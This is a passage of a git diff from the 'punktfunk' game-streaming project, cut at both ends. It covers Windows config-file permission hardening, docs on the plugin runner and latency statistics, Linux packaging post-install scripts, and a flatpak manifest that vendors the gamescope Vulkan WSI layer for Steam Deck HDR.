BUILTIN\Users add-subdirectory + // plus CREATOR OWNER full control, so an unprivileged user can create `C:\ProgramData\punktfunk`, + // own it, and drop a host.env — and the skip meant the one case the hardening was written for was + // the one case it never ran in. The service then loads that file verbatim into its own SYSTEM + // environment and into the command line it launches (`PUNKTFUNK_HOST_CMD=…`). if let Some(dir) = path.parent() { - // DACL-lock the config dir on creation so a local user can't pre-create it and plant a - // host.env (which feeds the SYSTEM service's env + command line) — security-review #3. pf_paths::create_private_dir(dir).ok(); } + if path.exists() { + // An existing host.env may predate the hardening (or have been planted before it ran), in + // which case it is still owned by whoever created it — and an owner can rewrite the DACL it + // inherited. Re-apply the SYSTEM/Administrators lock to the FILE as well as the directory. + pf_paths::restrict_existing_secret_file(&path); + return Ok(()); + } let default = "# punktfunk host configuration (read by the Windows service).\n\ # KEY=VALUE per line; '#' comments. Restart the service after editing:\n\ # punktfunk-host service stop && punktfunk-host service start\n\ diff --git a/docs-site/content/docs/plugins.mdx b/docs-site/content/docs/plugins.mdx index 9de18f07..dc137d56 100644 --- a/docs-site/content/docs/plugins.mdx +++ b/docs-site/content/docs/plugins.mdx @@ -108,10 +108,16 @@ the full path: `& "$env:ProgramFiles\punktfunk\punktfunk-host.exe" plugins add p Open the [web console](/docs/web-console) and the plugin's page appears in the nav automatically — that's the whole install. -The runner is **opt-in**: `plugins add` installs, `plugins enable` turns it on. You only need -`enable` once. The runner discovers plugins when it starts, so one installed later needs a restart -to come up (`systemctl --user restart punktfunk-scripting`, or `Restart` the `PunktfunkScripting` -task) — the console does that restart for you as part of installing. +The runner is **on by default** on a new install — your game sources are plugins, so a host without +it would show an empty library. (On a host that predates this, it stays however you left it; turn it +on with `punktfunk-host plugins enable`, which you only need once.) The runner discovers plugins +when it starts, so one installed later needs a restart to come up +(`systemctl --user restart punktfunk-scripting`, or `Restart` the `PunktfunkScripting` task) — the +console does that restart for you as part of installing. + +Don't want it? It is a normal service you can switch off: `systemctl --user mask punktfunk-scripting` +on Linux, or disable the `PunktfunkScripting` scheduled task on Windows. Your host keeps streaming; +you just lose plugin-provided game sources and any automation. A plugin installed from the CLI shows up in the console as **Installed via CLI**: the console knows what is installed, but not who vouched for it. Install the same plugin from the store's Browse tab @@ -301,8 +307,8 @@ host's, on one timeline, with the same search and download. Each is tagged `plug plugin's own name for lines it logged itself, `plugin:runner` for the supervisor's (starting a plugin, restarting a crashed one, refusing an unsafe file). -An empty Plugins view almost always means the runner isn't running — it is a separate service, and -opt-in on Linux. Check with `punktfunk-host plugins status`. +An empty Plugins view almost always means the runner isn't running — it is a separate service. Check +with `punktfunk-host plugins status`. Nothing is lost if the host is down: the runner keeps buffering and sends the backlog when the host diff --git a/docs-site/content/docs/stats.md b/docs-site/content/docs/stats.md index 2a4b4952..147acc50 100644 --- a/docs-site/content/docs/stats.md +++ b/docs-site/content/docs/stats.md @@ -7,13 +7,20 @@ Every Punktfunk client has an in-stream stats overlay. All clients use **the sam vocabulary and the same four measurement points**, so a stage name on your phone means what the same name means on your desktop. -Two platforms differ in the *math*: on **iOS and tvOS** the headline is **floor-shaved**. -The fixed depth of Apple's present pipeline — roughly two refresh intervals, which no -client can pace under — is excluded from it, and the Detailed tier prints the excluded +Some platforms differ in the *math*: on **iOS, tvOS and Android** the headline is +**floor-shaved**. The depth of the OS present pipeline — the compositor's own wait, which +no client can pace under — is excluded from it, and the Detailed tier prints the excluded term on its own line as `os present +X.X excluded (display pipeline minimum)`. Add that -floor back before holding an iPhone, iPad or Apple TV's `capture→on-glass` next to a -macOS, Linux, Windows or Android one. (The macOS client shaves nothing: it presents -straight to the display, with no such pipeline depth to measure, so its numbers are raw.) +floor back before holding an iPhone, iPad, Apple TV or Android device's headline next to a +macOS, Linux or Windows one. (The macOS client shaves nothing: it presents straight to the +display, with no such pipeline depth to measure, so its numbers are raw.) + +The floor is **measured, not assumed**, and it is not small: it is commonly one to two +refresh intervals, which on a 60 Hz phone is more than 30 ms — enough on its own to dwarf +everything Moonlight's overlay displays. Charging it to the stream made Punktfunk look +slower than clients that simply never measure that far (see +[Comparing with Moonlight / Sunshine](#comparing-with-moonlight--sunshine)), so we report +it rather than bury it in the total. ## The four measurement points @@ -47,7 +54,7 @@ captured input, switch mouse mode, disconnect, mute the microphone — are in lost). **Normal** adds the stream line and the p50/p95 headline. **Detailed** adds the per-stage breakdown everywhere; on Linux/Windows it also adds the encoder's target bitrate, the decode path, an HDR tag and a chroma tag, on Android the decoder plus the full codec/bit-depth/colour line, and -on iOS/tvOS the excluded OS present floor. +on iOS, tvOS and Android the excluded OS present floor. You can also set the level a stream starts at in each client's [Settings](/docs/client-settings#overlay). The examples below are the **Detailed** view. @@ -68,14 +75,16 @@ present: mailbox lost 3 (2.4%) ``` -Android: +Android (headline and `display` both floor-shaved, like the Apple clients — the raw +end-to-end here is 30.9 ms, the 16.7 ms floor of a 120 Hz panel included): ``` 1920×1080@120 120 fps 24.3 Mb/s c2.qti.hevc.decoder · low-latency HEVC · 10-bit · HDR (BT.2020 PQ) · 4:2:0 end-to-end 14.2 ms p50 · 19.8 p95 · capture→displayed -= host 3.1 + network 6.7 + decode 2.1 + display 2.3 += host 3.1 + network 6.7 + decode 2.1 + display 2.3 · presents 119 +os present +16.7 excluded (display pipeline minimum) lost 3 (2.4%) · skipped 1 · FEC 12 ``` @@ -131,18 +140,22 @@ lost 3 (2.4%) the screen's refresh cycle, not the stream; a large `pace` is us. (`pace` is also the fair number to compare against an iPhone or iPad, whose figure already has its equivalent of `latch` removed.) - - `os present` *(iOS and tvOS)* — the fixed depth of the OS present pipeline, which is + - `os present` *(iOS, tvOS and Android)* — the depth of the OS present pipeline, which is excluded from both the headline and `display` and printed here so you can add it - back. + back. On Android it is the measured time SurfaceFlinger took to latch and scan out each + frame, so it moves with your panel's rate and with whatever low-latency mode the vendor + applied; on Apple it is measured from the display link's own lead. - `client queue` *(Apple only)* — how long a received frame waited before the decoder pulled it. It's the front part of `decode`, not time on top of it. Hidden below 2 ms; a value that persists is a standing receive backlog on the client. - - `display X (pace A + latch B)` and `presents N` *(Android only)* — when the timeline presenter - is running it splits `display` in two: `pace` is the wait it deliberately holds the frame for - its target refresh, `latch` is SurfaceFlinger picking it up and scanning it out. `presents` - counts the frames confirmed on glass this second — well below `fps` means the presenter is - dropping or serializing frames; an `fps` shortfall with `presents` keeping up is upstream of - the client. + - `presents N` *(Android only)* — the frames confirmed on glass this second. Well below `fps` + means the presenter is dropping or serializing frames; an `fps` shortfall with `presents` + keeping up is upstream of the client. + - `display X (pace A + latch B)` *(Android, only when the floor couldn't be measured)* — with + the floor excluded, Android's `display` term is already just `pace` (the wait the presenter + deliberately holds a frame for its target refresh) and `latch` is what the `os present` line + reports. On the rare window where no latch sample pairs up, nothing is excluded and `display` + reverts to the raw figure with both halves shown. Against an **older host** that doesn't report its share yet, the first two terms merge into a single `host+network` number (`host+net` on Linux/Windows) — same total, @@ -190,12 +203,13 @@ pretending: | Windows, Linux | `capture→on-glass` | present instant available (measured right after the Vulkan swapchain present); published raw | | macOS (Metal presenter) | `capture→on-glass` | present instant available (the system's on-glass time for the flip); published raw | | iOS/tvOS (Metal presenter) | `capture→on-glass` | present instant available, but the OS present floor is **excluded** from the number and printed separately as `os present +X.X excluded` | -| Android | `capture→displayed` | MediaCodec's per-frame render callback reports SurfaceFlinger's render timestamp; on the rare window where no callback is delivered (the platform may drop them under load) the HUD falls back to `capture→decoded` | +| Android | `capture→displayed` | MediaCodec's per-frame render callback reports SurfaceFlinger's render timestamp, and the OS present floor measured from it is **excluded** from the number and printed separately as `os present +X.X excluded`; on the rare window where no callback is delivered (the platform may drop them under load) the HUD falls back to `capture→decoded` | | macOS/iOS fallback presenter | `capture→received` | the system video layer hides decode and present timing entirely | A shorter chain means the number is **smaller because it measures less** — check the endpoint before comparing two devices, and add the excluded `os present` floor back to an -iOS or tvOS client's headline before holding it next to another platform's. +iOS, tvOS or Android client's headline before holding it next to a macOS, Linux or Windows +one. ## Comparing with Moonlight / Sunshine @@ -235,8 +249,8 @@ stands in for a one-way frame flight that Moonlight doesn't measure.) | `Frames dropped due to network jitter` | Decoded frames the *client's pacer* chose to drop ÷ decoded frames | `skipped` (line 4, Android only) | Approximately (both are client-side pacing decisions, despite Moonlight's name) | | `Average network latency` | The **control connection's round-trip time** (ENet RTT + variance) — not video frame latency | `network` (line 3) is the closest concept, but it's the *actual one-way frame path* (flight + reassembly), not an RTT | **No direct comparison.** Roughly, Punktfunk's `network` ≈ ½ × an idle RTT plus serialization time of the frame | | `Average decoding time` | Mean time from decoder enqueue to picture out | `decode` (p50) | Yes (mean vs median; both include decoder queueing) | -| `Average frame queue delay` | Mean time a decoded frame waits for its vsync slot | inside `display` | Sum the two Moonlight lines → | -| `Average rendering time (incl. V-sync latency)` | Mean duration of the present call | inside `display` | …and compare against Punktfunk's `display` | +| `Average frame queue delay` *(desktop only)* | Mean time a decoded frame waits for its vsync slot | inside `display` | Sum the two Moonlight lines → | +| `Average rendering time (incl. V-sync latency)` *(desktop only)* | Mean duration of the present call | inside `display` | …and compare against Punktfunk's `display` | | *(no equivalent)* | — | `end-to-end` — true capture→glass, clock-skew-corrected across machines | **Punktfunk only** | | *(no equivalent)* | — | `FEC` recovered shards (loss absorbed invisibly; Android only) | Punktfunk only | @@ -250,6 +264,14 @@ Other differences worth knowing when squinting at both overlays side by side: - **Host frame rate.** Moonlight's headline FPS estimates what the *host* produced (received + lost). Punktfunk shows what your client actually received, and reports loss separately. +- **On Android, Moonlight's numbers stop at the decoder.** The two lines above that cover + presentation are desktop-only: Moonlight's Android overlay measures nothing after the + decoder produces the picture, so no part of the wait for the screen appears anywhere in + it — and the popular Android forks measure the same slice. Its `Average decoding time` is + therefore comparable to Punktfunk's `decode`, and to nothing else; on Android there is no + Moonlight number that includes what your screen contributes. That asymmetry is why + Punktfunk excludes the `os present` floor on Android too, and why adding that floor back + is the right move when you want the whole truth rather than a like-for-like comparison. ## Recording a capture for a bug report diff --git a/packaging/arch/punktfunk-host.install b/packaging/arch/punktfunk-host.install index efea5722..cba9c207 100644 --- a/packaging/arch/punktfunk-host.install +++ b/packaging/arch/punktfunk-host.install @@ -4,8 +4,17 @@ _ensure_update_group() { getent group punktfunk-update >/dev/null 2>&1 || groupadd --system punktfunk-update 2>/dev/null || true } +_ensure_punktfunk_group() { + # Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Separate from 'input' on + # purpose: writing 'attach' materialises an arbitrary emulated USB device, which is a root-only + # kernel primitive and must not ride on the group users are told to join for gamepads + # (security-review 2026-08-05 M-4). + getent group punktfunk >/dev/null 2>&1 || groupadd --system punktfunk 2>/dev/null || true +} + post_install() { _ensure_update_group + _ensure_punktfunk_group udevadm control --reload-rules 2>/dev/null || true udevadm trigger --subsystem-match=misc 2>/dev/null || true # Apply the UDP socket-buffer tuning now (also auto-applied at boot by systemd-sysctl). @@ -14,6 +23,9 @@ post_install() { punktfunk-host installed. 1. Add yourself to the 'input' group for virtual gamepads: sudo usermod -aG input "$USER" # then re-login + Only if you want the virtual Steam Deck pad (usbip), ALSO join 'punktfunk': + sudo usermod -aG punktfunk "$USER" + That group can emulate arbitrary USB devices — join it only on a machine you trust. 2. Pick a backend config (gamescope is the no-desktop default on SteamOS/Deck): mkdir -p ~/.config/punktfunk cp /usr/share/punktfunk/host.env.bazzite ~/.config/punktfunk/host.env diff --git a/packaging/bazzite/build-sysext.sh b/packaging/bazzite/build-sysext.sh index 6d043bac..c88acd62 100644 --- a/packaging/bazzite/build-sysext.sh +++ b/packaging/bazzite/build-sysext.sh @@ -98,6 +98,23 @@ if [ -n "$GAMESCOPE" ]; then install -Dm0755 "$GAMESCOPE" "$STAGE/usr/bin/punktfunk-gamescope" fi +# Enable the plugin/script runner for every user, by baking its `[Install] WantedBy=default.target` +# symlink straight into the image. +# +# A sysext carries only /usr, and RPM scriptlets never run from one — so the `systemctl --global +# enable` the .rpm/.deb do at install time has no equivalent here, and without this the runner would +# ship present-but-off on exactly the platform (Bazzite / Fedora Atomic) where an operator is least +# likely to go hunting for it. The game-library scanners are plugins now (design D9), so an +# unenabled runner means an empty library. +# +# Opt-out is unchanged and still wins: `systemctl --user mask punktfunk-scripting` in the user's own +# ~/.config/systemd/user takes precedence over anything under /usr. +if [ -f "$STAGE/usr/lib/systemd/user/punktfunk-scripting.service" ]; then + install -d "$STAGE/usr/lib/systemd/user/default.target.wants" + ln -sf ../punktfunk-scripting.service \ + "$STAGE/usr/lib/systemd/user/default.target.wants/punktfunk-scripting.service" +fi + # Self-update: the helper rides inside the image. install -Dm0755 "$HERE/punktfunk-sysext.sh" "$STAGE/usr/bin/punktfunk-sysext" diff --git a/packaging/debian/build-deb.sh b/packaging/debian/build-deb.sh index 75030405..c5f106a8 100755 --- a/packaging/debian/build-deb.sh +++ b/packaging/debian/build-deb.sh @@ -289,6 +289,11 @@ set -e if [ "$1" = "configure" ]; then # The (empty) opt-in group for web-console-triggered updates — nobody is auto-added. getent group punktfunk-update >/dev/null 2>&1 || addgroup --system punktfunk-update 2>/dev/null || true + # Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Deliberately NOT 'input': + # writing 'attach' materialises an arbitrary emulated USB device — a root-only kernel + # primitive that must not ride on the group users are told to join for gamepads + # (security-review 2026-08-05 M-4). + getent group punktfunk >/dev/null 2>&1 || addgroup --system punktfunk 2>/dev/null || true # Pick up the /dev/uinput rule without a reboot (best-effort, no-op in containers). udevadm control --reload-rules 2>/dev/null || true udevadm trigger --subsystem-match=misc 2>/dev/null || true @@ -296,6 +301,8 @@ if [ "$1" = "configure" ]; then sysctl -p /usr/lib/sysctl.d/99-punktfunk-net.conf >/dev/null 2>&1 || true echo "punktfunk-host installed. Add yourself to the 'input' group for virtual gamepads:" echo " sudo usermod -aG input \"\$USER\" # then re-login" + echo "For the virtual Steam Deck pad (usbip) ALSO: sudo usermod -aG punktfunk \"\$USER\"" + echo " — that group can emulate arbitrary USB devices; join it only on a machine you trust." echo "Config: mkdir -p ~/.config/punktfunk && cp /usr/share/punktfunk-host/host.env.example ~/.config/punktfunk/host.env" echo "Enable: systemctl --user enable --now punktfunk-host" # Debian ships no active firewall and Ubuntu's ufw is inactive by default; hint whichever is present. diff --git a/packaging/debian/build-scripting-deb.sh b/packaging/debian/build-scripting-deb.sh index 8d9030cd..7920cfd6 100755 --- a/packaging/debian/build-scripting-deb.sh +++ b/packaging/debian/build-scripting-deb.sh @@ -114,20 +114,36 @@ Description: punktfunk plugin/script runner (Effect SDK on bun) capped-jittered restart; SIGTERM shuts the whole tree down structurally so plugin finalizers run). Bundles its own bun runtime (no system nodejs/bun dependency). . - OPT-IN: the systemd --user unit is installed but not auto-enabled (the runner is inert until you add - scripts or plugins). A plugin auto-wires to the host's mgmt token + identity cert on the same box — - no env editing. Enable it with: systemctl --user enable --now punktfunk-scripting + ON BY DEFAULT: the systemd --user unit is enabled for every user (systemctl --global). The runner is + inert until you add scripts or plugins, and the game-library scanners now ship AS plugins — so a + host without the runner has an empty library and no obvious reason why. A plugin auto-wires to the + host's mgmt token + identity cert on the same box — no env editing. + Opt out per user with: systemctl --user mask punktfunk-scripting EOF cat > "$STAGE/DEBIAN/postinst" <<'EOF' #!/bin/sh set -e if [ "$1" = "configure" ]; then - echo "punktfunk-scripting installed. It runs your automation — add scripts to" + # `--global`, not `--user`: a maintainer script has no user session to act on, and this is the + # only mechanism that makes a `--user` unit on-by-default for everyone (it symlinks into + # /etc/systemd/user/…wants/). The library's scanners are plugins now, so the runner is a default + # component rather than an add-on (design D9) — but installing it stays opt-OUT, and the opt-out + # is `systemctl --user mask punktfunk-scripting`, since a plain `--user disable` cannot remove a + # global symlink. + # + # Only on FIRST configure ($2 empty): re-running it on every upgrade would silently undo the + # mask of anyone who turned it off. + if [ -z "$2" ] && command -v systemctl >/dev/null 2>&1; then + systemctl --global enable punktfunk-scripting.service >/dev/null 2>&1 || true + fi + echo "punktfunk-scripting installed and enabled for all users." + echo "It runs your automation — game-library sources, scripts in" echo " ~/.config/punktfunk/scripts/ (loose .ts/.js files)" - echo "or install plugins into ~/.config/punktfunk/plugins/ (bun add punktfunk-plugin-)," - echo "then enable the runner for your user:" - echo " systemctl --user enable --now punktfunk-scripting" + echo "and plugins under ~/.config/punktfunk/plugins/." + echo "It starts with your next login; start it now with:" + echo " systemctl --user start punktfunk-scripting" + echo "Don't want it? systemctl --user mask punktfunk-scripting" fi exit 0 EOF diff --git a/packaging/flatpak/io.unom.Punktfunk.yml b/packaging/flatpak/io.unom.Punktfunk.yml index 3d5b75ed..6f27c165 100644 --- a/packaging/flatpak/io.unom.Punktfunk.yml +++ b/packaging/flatpak/io.unom.Punktfunk.yml @@ -85,28 +85,43 @@ finish-args: # --- persistent client identity / pairing store (shared with punktfunk-probe) --- - --filesystem=~/.config/punktfunk:create # client-{cert,key}.pem, known-hosts, settings # --- HDR under gamescope (Steam Deck Game Mode) --- - # A flatpak's Vulkan loader can't see the host's gamescope WSI layer, so the SDL3 surface never - # offers the HDR10 (ST.2084) colorspace and the presenter silently tone-maps PQ->SDR — the - # Game-Mode HDR indicator stays dark (verified on a Deck OLED: the sandbox loader found NO - # frog/gamescope layer). The layer ships as the runtime extension - # `org.freedesktop.Platform.VulkanLayer.gamescope`, which org.gnome.Platform//50 auto-mounts at - # /usr/lib/extensions/vulkan/gamescope once installed (a one-time, per-Deck step; keep it in the - # Decky plugin's setup / docs): - # flatpak install --user -y flathub org.freedesktop.Platform.VulkanLayer.gamescope//25.08 - # THREE things are needed, not two (verified live on a Deck OLED — the env vars alone left - # hdr10_format=None). (1) VK_ADD_IMPLICIT_LAYER_PATH puts the layer's implicit-layer JSON on the - # Vulkan loader's search path (the runtime point mounts the files but not onto the path). (2) - # ENABLE_GAMESCOPE_WSI flips the layer's own `enable_environment` gate. (3) The layer, once - # loaded, must open a *Wayland* connection to gamescope's private socket ($GAMESCOPE_WAYLAND_DISPLAY - # = gamescope-0) to negotiate the HDR10 colorspace via the gamescope_swapchain protocol — but the - # Deck runs games as X11 clients (DISPLAY=:1, no WAYLAND_DISPLAY exported), so --socket=wayland - # binds nothing and that socket never enters the sandbox. Without it the layer loads, maps, and - # silently can't reach the compositor → no HDR10 offered → PQ tone-mapped to SDR, badge dark. - # Binding xdg-run/gamescope-0 is the missing half (chiaki-ng does the same). With all three the - # surface offers HDR10 and the presenter's existing HDR10 swapchain path engages — no client code - # change. Harmless off-Deck: the layer no-ops when there's no gamescope socket to bind. - - --env=VK_ADD_IMPLICIT_LAYER_PATH=/usr/lib/extensions/vulkan/gamescope/share/vulkan/implicit_layer.d + # A flatpak's Vulkan loader can't see the host's gamescope WSI layer, so without help the SDL3 + # surface never offers the HDR10 (ST.2084) colorspace and the presenter silently tone-maps + # PQ->SDR — the field-reported "HDR->SDR" badge. The layer is now VENDORED (see the + # gamescope-wsi-layer module below), so it is always present and there is no longer any + # manual `flatpak install ... VulkanLayer.gamescope` step for the user. + # FOUR things are needed. An earlier revision of this block claimed three and was WRONG: the + # fourth is the gate that makes the other three moot, so the Deck sat at hdr10_format=None with + # all of (1)-(3) in place, which is exactly the field report ("HDR->SDR" in the stats overlay). + # (1) the layer's implicit-layer JSON must be on the Vulkan loader's search path — now + # automatic, the vendored module installs it to /app/share/vulkan/implicit_layer.d which + # XDG_DATA_DIRS already covers. (2) ENABLE_GAMESCOPE_WSI + # flips the layer's own `enable_environment` gate. (3) --filesystem=xdg-run/gamescope-0 binds + # gamescope's private Wayland socket: the layer must reach the compositor over it to negotiate + # HDR10, and the Deck runs games as X11 clients (DISPLAY=:1, no WAYLAND_DISPLAY exported) so + # --socket=wayland binds nothing (chiaki-ng does the same). (4) GAMESCOPE_WAYLAND_DISPLAY must be + # set INSIDE the sandbox. The layer's `isRunningUnderGamescope()` reads that env var and nothing + # else; flatpak does not forward host env, so it arrives unset and the layer's CreateInstance + # early-returns before it ever creates a GamescopeInstance. The layer still LOADS and still logs + # its generic bits ("Forcing on VK_EXT_swapchain_maintenance1", swapchain destroys), which is why + # this reads as working — but no gamescope surface is made, so no HDR10 format is ever appended + # and (1)-(3) buy nothing. Measured on a Deck OLED (Galileo, SteamOS 3.8.16) 2026-08-05, client + # `--browse`, reading `pf_presenter::vk::setup` "swapchain config": + # unset -> no "[Gamescope WSI] Surface state" block at all, hdr10_format=None + # set, hdr_enabled=0 -> "server hdr output enabled: false", hdr10_format=None + # set, hdr_enabled=1 -> "hdr formats exposed to client: true", + # hdr10_format=Some(A2B10G10R10_UNORM_PACK32, HDR10_ST2084_EXT) + # DXVK_HDR is NOT the gate for us and was ruled out by measurement: the layer forces it OFF for + # clients it has already decided to deny, it does not turn HDR on. + # Hardcoding `gamescope-0` matches the socket bound just below, and is safe off-Deck both ways: + # on a normal Wayland desktop --socket=wayland sets WAYLAND_DISPLAY=wayland-0 inside the sandbox + # and the layer bails on the mismatch; on X11-only there is no gamescope socket to connect to, so + # it prints one "Bypass layer will be unavailable" line and passes through. + # The REMAINING gate is not ours: gamescope's `hdr_enabled` convar (Steam's HDR display setting) + # drives the GAMESCOPE_HDR_OUTPUT_FEEDBACK X property the layer reads, and with it off no app on + # the Deck gets HDR. See docs — that one is a user/Decky-side step, not a packaging one. - --env=ENABLE_GAMESCOPE_WSI=1 + - --env=GAMESCOPE_WAYLAND_DISPLAY=gamescope-0 # the layer's ONLY "am I under gamescope?" signal - --filesystem=xdg-run/gamescope-0 # gamescope's private Wayland socket (HDR negotiation) build-options: @@ -180,6 +195,84 @@ modules: cleanup: - '*' + # --------------------------------------------------------------------------------------- + # gamescope WSI layer — VENDORED, so HDR works from a plain `flatpak install` with no + # second step. This is the ONLY route to HDR on a Deck: measured on SteamOS 3.8.16 + # (gamescope 3.16.23.4), the gamescope-0 socket advertises `gamescope_swapchain_factory_v2` + # but NOT `wp_color_manager_v1` (checked with HDR both off and on), so Mesa's Wayland WSI + # has no colour-management protocol to negotiate HDR10 through and only this layer can add + # the ST.2084 surface formats. Without it: zero `[Gamescope WSI]` lines, hdr10_format=None. + # + # It used to come from the flathub runtime extension + # `org.freedesktop.Platform.VulkanLayer.gamescope`, which every user had to install BY HAND + # (documented only in a comment here — so in practice nobody did, and the field report was + # "HDR->SDR" in the stats overlay). Vendoring instead of `add-extensions` autodownload, + # deliberately: that extension is 94 MB of whole-gamescope to deliver one 4 MB .so, its + # layer JSON hardcodes a /usr `library_path` that an app-scoped extension (mounted under + # /app) would not satisfy, and it would make flathub a hard install-time dependency of an + # app we self-host on flatpak.unom.io. + # + # Pinned to the SAME gamescope rev as packaging/gamescope/PKGBUILD (`_gsrev`) so the + # client's layer and the host's punktfunk-gamescope always come from one tree — bump both + # together. `enable_gamescope=false` skips subdir('src') and every compositor dependency + # (wlroots, SDL2, libliftoff, ...); only protocol/ and layer/ are built. + # + # `buildsystem: simple` rather than `meson` because two subprojects need their wrap + # `patch_directory` applied by hand: glm and stb ship NO meson.build of their own, and the + # one meson would normally inject lives in subprojects/packagefiles/. Cloning them as plain + # sources without that copy fails at configure with "Subproject exists but has no + # meson.build file". `--wrap-mode=nodownload` then proves the build is genuinely offline. + # + # The layer JSON is generated by meson from prefix+libdir, so it self-writes + # `library_path: /app/lib/libVkLayer_FROG_gamescope_wsi_x86_64.so` and lands in + # /app/share/vulkan/implicit_layer.d — already on the loader's search path via + # XDG_DATA_DIRS, which is why no VK_ADD_IMPLICIT_LAYER_PATH is needed (and why it was + # dropped from finish-args: pointing at the old /usr extension path too would risk + # double-loading two layers of the same name). + # + # Verified on a Deck OLED 2026-08-05: builds offline in org.gnome.Sdk//50, and the + # resulting .so drives the Deck's system gamescope to + # "hdr formats exposed to client: true" + hdr10_format=Some(...). + # --------------------------------------------------------------------------------------- + - name: gamescope-wsi-layer + buildsystem: simple + build-commands: + # Apply the wraps' patch_directory by hand (see above) — these supply the meson.build + # that glm and stb do not ship themselves. + - cp -r subprojects/packagefiles/glm/. subprojects/glm/ + - cp -r subprojects/packagefiles/stb/. subprojects/stb/ + - meson setup _build --prefix=/app --libdir=lib --wrap-mode=nodownload + -Denable_gamescope=false -Denable_gamescope_wsi_layer=true + -Denable_tests=false -Denable_openvr_support=false + - ninja -C _build + - ninja -C _build install + sources: + - type: git + url: https://github.com/ValveSoftware/gamescope.git + # KEEP IN SYNC with `_gsrev` in packaging/gamescope/PKGBUILD. + commit: 8c676c399c761e4540587f61004c957993d12fea + # Submodule + wrap pins as of that rev. `git ls-tree subprojects/` for the + # submodules; subprojects/*.wrap for the rest. + - type: git + url: https://github.com/Joshua-Ashton/vkroots.git + commit: 5106d8a0df95de66cc58dc1ea37e69c99afc9540 + dest: subprojects/vkroots + - type: git + url: https://github.com/g-truc/glm.git + commit: 0af55ccecd98d4e5a8d1fad7de25ba429d60e863 + dest: subprojects/glm + - type: git + url: https://github.com/nothings/stb.git + commit: 5736b15f7ea0ffb08dd38af21067c314d6a3aae9 + dest: subprojects/stb + cleanup: + # Only the .so and its implicit-layer JSON are runtime. vkroots installs its dev files + # from the subproject, and the layer-only install still drops gamescope's display .lua + # scripts + LUT .cube files, none of which a client uses. + - /include + - /lib/pkgconfig + - /share/gamescope + # --------------------------------------------------------------------------------------- # The client. cargo-sources.json is the GENERATED offline crate cache: # python3 flatpak-cargo-generator.py Cargo.lock -o packaging/flatpak/cargo-sources.json diff --git a/packaging/linux/punktfunk-web.xml b/packaging/linux/punktfunk-web.xml index 730d06f0..7769ed7a 100644 --- a/packaging/linux/punktfunk-web.xml +++ b/packaging/linux/punktfunk-web.xml @@ -6,7 +6,8 @@ Installed to /usr/lib/firewalld/services/ by the punktfunk-host package. NOT enabled automatically (packages never touch the admin's firewall). Only useful if you installed the console (punktfunk-web) AND want to reach it from another device on the LAN — the console binds all interfaces on TCP 47992 - (HTTPS, login-gated). The streaming host itself does not need this open; enable it deliberately with + (HTTPS, login-gated), and serves plugin UIs from a SEPARATE ORIGIN on TCP 47993 (see below). + The streaming host itself does not need this open; enable it deliberately with firewall-cmd (add-service=punktfunk-web, then reload). CachyOS/Ubuntu: use the ufw punktfunk-web profile instead. @@ -18,4 +19,12 @@ Punktfunk web console The optional punktfunk management web console (device pairing, status, GPU selection, performance graphs) over HTTPS. Open only if you run the punktfunk-web package and want the console reachable from other devices on the LAN. + + diff --git a/packaging/linux/punktfunk.ufw b/packaging/linux/punktfunk.ufw index b5cdbeb0..aac04650 100644 --- a/packaging/linux/punktfunk.ufw +++ b/packaging/linux/punktfunk.ufw @@ -36,8 +36,15 @@ ports=47984,47989,48010/tcp|47998:48010/udp|5353/udp # Run the host with `--mgmt-bind 127.0.0.1:47990` to keep 47990 loopback-only (then don't open it). # # The optional web console (the separate punktfunk-web package). Open only if you installed it and -# want to reach it from another device — it binds all interfaces on TCP 47992 (HTTPS, login-gated). +# want to reach it from another device — it binds all interfaces on TCP 47992 (HTTPS, login-gated), +# and serves plugin UIs from a SEPARATE ORIGIN on TCP 47993. +# +# 47993 is not a second console. A plugin's interface is third-party code, and serving it on the +# console's own origin let it act as the logged-in operator (security-review 2026-08-05 H-3). Same +# host, same certificate, different port: a different ORIGIN to the browser, so the same-origin +# policy is the boundary — but still the same SITE, so the login session still reaches it. It is +# login-gated exactly like the console, and only needed for plugins that ship a UI. [punktfunk-web] title=punktfunk web console -description=The optional punktfunk management web console (HTTPS, login-gated) reachable from the LAN -ports=47992/tcp +description=The optional punktfunk management web console (HTTPS, login-gated) reachable from the LAN, plus the separate-origin port its plugin UIs are served on +ports=47992,47993/tcp diff --git a/packaging/rpm/punktfunk.spec b/packaging/rpm/punktfunk.spec index 43dcfdc4..0366572c 100644 --- a/packaging/rpm/punktfunk.spec +++ b/packaging/rpm/punktfunk.spec @@ -191,9 +191,10 @@ The plugin/script runner for a punktfunk streaming host: it discovers loose scri ~/.config/punktfunk/scripts and installed punktfunk-plugin-* packages under ~/.config/punktfunk/ plugins, and supervises each as an Effect fiber (capped-jittered restart; SIGTERM shuts the whole tree down structurally so plugin finalizers run). A plugin auto-wires to the host's mgmt token + -identity cert on the same box — no env editing. Bundles its own bun runtime. OPT-IN: the systemd ---user unit ships disabled (the runner is inert until you add scripts/plugins). Enable with -`systemctl --user enable --now punktfunk-scripting`. +identity cert on the same box — no env editing. Bundles its own bun runtime. ON BY DEFAULT: the +systemd --user unit is enabled for every user (systemctl --global). The game-library scanners ship +as plugins, so a host without the runner has an empty library. Opt out per user with +`systemctl --user mask punktfunk-scripting`. %endif %prep @@ -554,6 +555,10 @@ update-desktop-database %{_datadir}/applications >/dev/null 2>&1 || : %post # The (empty) opt-in group for web-console-triggered updates — nobody is auto-added. getent group punktfunk-update >/dev/null 2>&1 || groupadd --system punktfunk-update 2>/dev/null || : +# Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Deliberately NOT 'input': writing +# 'attach' materialises an arbitrary emulated USB device — a root-only kernel primitive that must +# not ride on the group users are told to join for gamepads (security-review 2026-08-05 M-4). +getent group punktfunk >/dev/null 2>&1 || groupadd --system punktfunk 2>/dev/null || : # Reload udev so /dev/uinput picks up the new rule without a reboot (best-effort). udevadm control --reload-rules 2>/dev/null || : udevadm trigger --subsystem-match=misc 2>/dev/null || : @@ -561,6 +566,8 @@ udevadm trigger --subsystem-match=misc 2>/dev/null || : # it takes effect on the next boot into the layered deployment). sysctl -p %{_prefix}/lib/sysctl.d/99-punktfunk-net.conf >/dev/null 2>&1 || : echo "punktfunk installed. Add yourself to the 'input' group (sudo usermod -aG input \$USER)" +echo "For the virtual Steam Deck pad (usbip) ALSO: sudo usermod -aG punktfunk \$USER" +echo " — that group can emulate arbitrary USB devices; join it only on a machine you trust." echo "then enable the host: systemctl --user enable --now punktfunk-host" echo "Config: cp 